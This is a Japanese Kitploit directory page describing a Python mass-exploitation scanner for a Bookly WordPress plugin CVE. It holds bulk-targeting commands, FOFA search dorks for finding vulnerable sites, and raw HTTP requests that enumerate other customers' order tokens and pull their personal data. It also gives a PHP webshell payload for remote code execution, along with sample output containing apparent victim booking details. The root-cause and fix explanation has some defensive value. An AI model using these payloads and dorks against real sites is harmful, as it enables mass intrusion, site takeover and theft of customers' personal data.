Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-93399 — Bookly WordPressプラグインにおけるCVE-2026-93399のPython製マスエクスプロイトスキャナー:バージョン検出、未認証のIDORによる注文トークン列挙、PII抽出、およびウェブシェルによるRCE。 | Kitploit
ツール/GitHubGitHub/josemour8/cve-2026-93399
偵察脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用データ流出ウェブセキュリティペネトレーションテスト
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Bookly WordPressプラグインにおけるCVE-2026-93399のPython製マスエクスプロイトスキャナー:バージョン検出、未認証のIDORによる注文トークン列挙、PII抽出、およびウェブシェルによるRCE。

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-93399

Bookly <= 28.2 未認証IDOR + PII漏洩 + RCE

CVE-2026-93399(CVSS 9.1 緊急)に対応する大規模悪用スキャナーです。この脆弱性は Bookly — Online Scheduling and Appointment Booking System WordPressプラグイン(バージョン <= 28.2)に影響します。

目次

  • 概要
  • 脆弱性チェーン
  • 影響を受けるバージョン
  • 要件
  • インストール
  • 使用方法
  • FOFA Dorks
  • 攻撃フロー
  • 出力形式
  • 技術的詳細
  • 免責事項
  • ライセンス

概要

WordPress用のBooklyプラグインは、bookly_get_form_id、bookly_render_complete、bookly_add_to_calendar、bookly_rollback_order の各AJAXアクションを介した Insecure Direct Object Reference(IDOR) に対して脆弱です。すべてのアクションは 未認証(_default => 'anonymous')であり、CSRF保護は無効化されています(csrfTokenValid() は true を返します)。

bookly_get_form_id ハンドラーは、攻撃者が制御する form_data(order_id を含む)を検証なしで新しい予約セッションにそのまま保存します。次に bookly_render_complete ハンドラーは、この注入された order_id を信頼して対応するOrderのシークレットトークンを検索・返却します。これにより、未認証の攻撃者は連番の注文IDを列挙し、他の顧客の注文トークンを開示し、カレンダー/予約情報を取得し、任意の未完了予約を恒久的に削除することが可能になります。

脆弱性チェーン

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

影響を受けるバージョン

  • 脆弱: Bookly <= 28.2 (28.2 以前のすべてのバージョンを含む)
  • 修正済み: 28.3 (_prepareFormData() ホワイトリストと _prepareCartData() サニタイザーを追加)

要件

  • Python 3.8+
  • requests ライブラリ
pip install requests

インストール

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

使用方法

単一ターゲット

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

一括スキャン

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

オプション

フラグ説明
-u, --url単一のターゲットURL
-f, --fileターゲットURLを記載したファイル(1行に1つ)
--detectバージョンのみをチェック(安全)
--enumerateIDOR: 注文トークンを漏洩させる
--piiICSカレンダーエクスポート経由でPIIを抽出する
--rcewebshellのアップロードを試みる
--fullフルチェーン: IDOR + PII + RCE
--start N開始order_id(デフォルト: 1)
--end N終了order_id(デフォルト: 50)
-th, --threads Nスレッド数(デフォルト: 5)
-o, --output FILE出力ファイル(デフォルト: results.txt)
-v, --verboseすべての試行を表示する

FOFA Dorks

すべてのBooklyインストールを検索する

body="bookly-responsive-appointment-booking-tool"

レンダリングされた予約フォームを含むBooklyページを検索する

body="BooklyL10nGlobal"

バージョン固有 (vulnerable <= 28.2)

body="bookly-main.css?ver=28.2"

統合(信頼度が最も高い)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Filesアドオンでターゲットを検索する(RCE用)

body="bookly-addon-files"

ファイルアップロードフィールドが設定されているターゲットを検索する(RCE可能)

body="bookly-js-upload"

攻撃フロー

ステップ1: order_id を注入する (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

応答:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

脆弱なコード (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

ステップ2: 注文トークンを漏洩させる

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

応答:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

脆弱なコード (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

ステップ3: ICS経由でPIIを抽出する

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

応答: 顧客データを含むICSファイル:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

ステップ4: RCE(Filesアドオンが必要)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

シェルの場所: /wp-content/uploads/bookly-files/shell.php

出力形式

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

技術的詳細

根本原因

getFormId() ハンドラは、form_data パラメータ全体(ユーザー制御の JSON)をホワイトリストやサニタイズを一切行わずにセッションデータベースへ保存します。これにより、攻撃者は order_id を含む任意のセッションキーを注入できます。

renderComplete() ハンドラは、セッションから order_id を読み取り、Order テーブルを直接クエリします — 現在のセッションがその注文を作成したかどうかを検証することなく。

複合する2つの欠陥

  1. CSRF が無効化されている — 予約モジュールにおいて csrfTokenValid() が return true にオーバーライドされている
  2. すべてのアクションが匿名 — permissions() が array('_default' => 'anonymous') を返すため、すべてのハンドラが wp_ajax_ と wp_ajax_nopriv_ の両方のフックを登録する

修正 (28.3)

バージョン 28.3 では _prepareFormData() が追加されました — 表示設定(skip_service_step、hide_service_part1、hide_service_part2、defaults)以外のすべてを除去する厳格なホワイトリストです。また、カート項目のキーをサニタイズする _prepareCartData() も追加されました。

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

RCE の前提条件

Webshell アップロードによる RCE には以下が必要です:

  1. Bookly Files アドオンがインストールされ、有効化されていること
  2. 予約フォームに**「file」タイプのカスタムフィールド**が設定されていること
  3. 拡張子の許可リストが誤設定されていること(空または寛容な設定)

bookly_files_upload AJAX エンドポイントは認証不要であり、マルチパートのファイルアップロードを直接受け付けます。ただし、Files アドオンはファイル拡張子を許可リストに照らして検証します。許可リストが適切に設定されていれば、すべての PHP 拡張子はブロックされます。

セッションインジェクション(代替の RCE 経路)

IDOR セッションインジェクションは、form_data[data][info_fields] にファイルペイロードを埋め込むこともできます。saveAppointment が Proxy\Files::attachCIFiles() をトリガーすると、ファイルハンドラーが注入されたデータを処理します。この経路には Files アドオンが有効であることが必要であり、アドオンによる attachCIFiles の実装に依存します。

免責事項

このツールは教育および許可されたテスト目的のみで提供されています。作者は、このツールによるいかなる悪用や損害についても責任を負いません。対象のスキャンやテストを行う前に、必ず適切な許可を取得してください。

ライセンス

MIT License — 詳細は LICENSE ファイルを参照してください。

参考文献

  • CVE-2026-93399
  • Wordfence Advisory
  • WPScan
  • Plugin on WordPress.org
ツールをダウンロード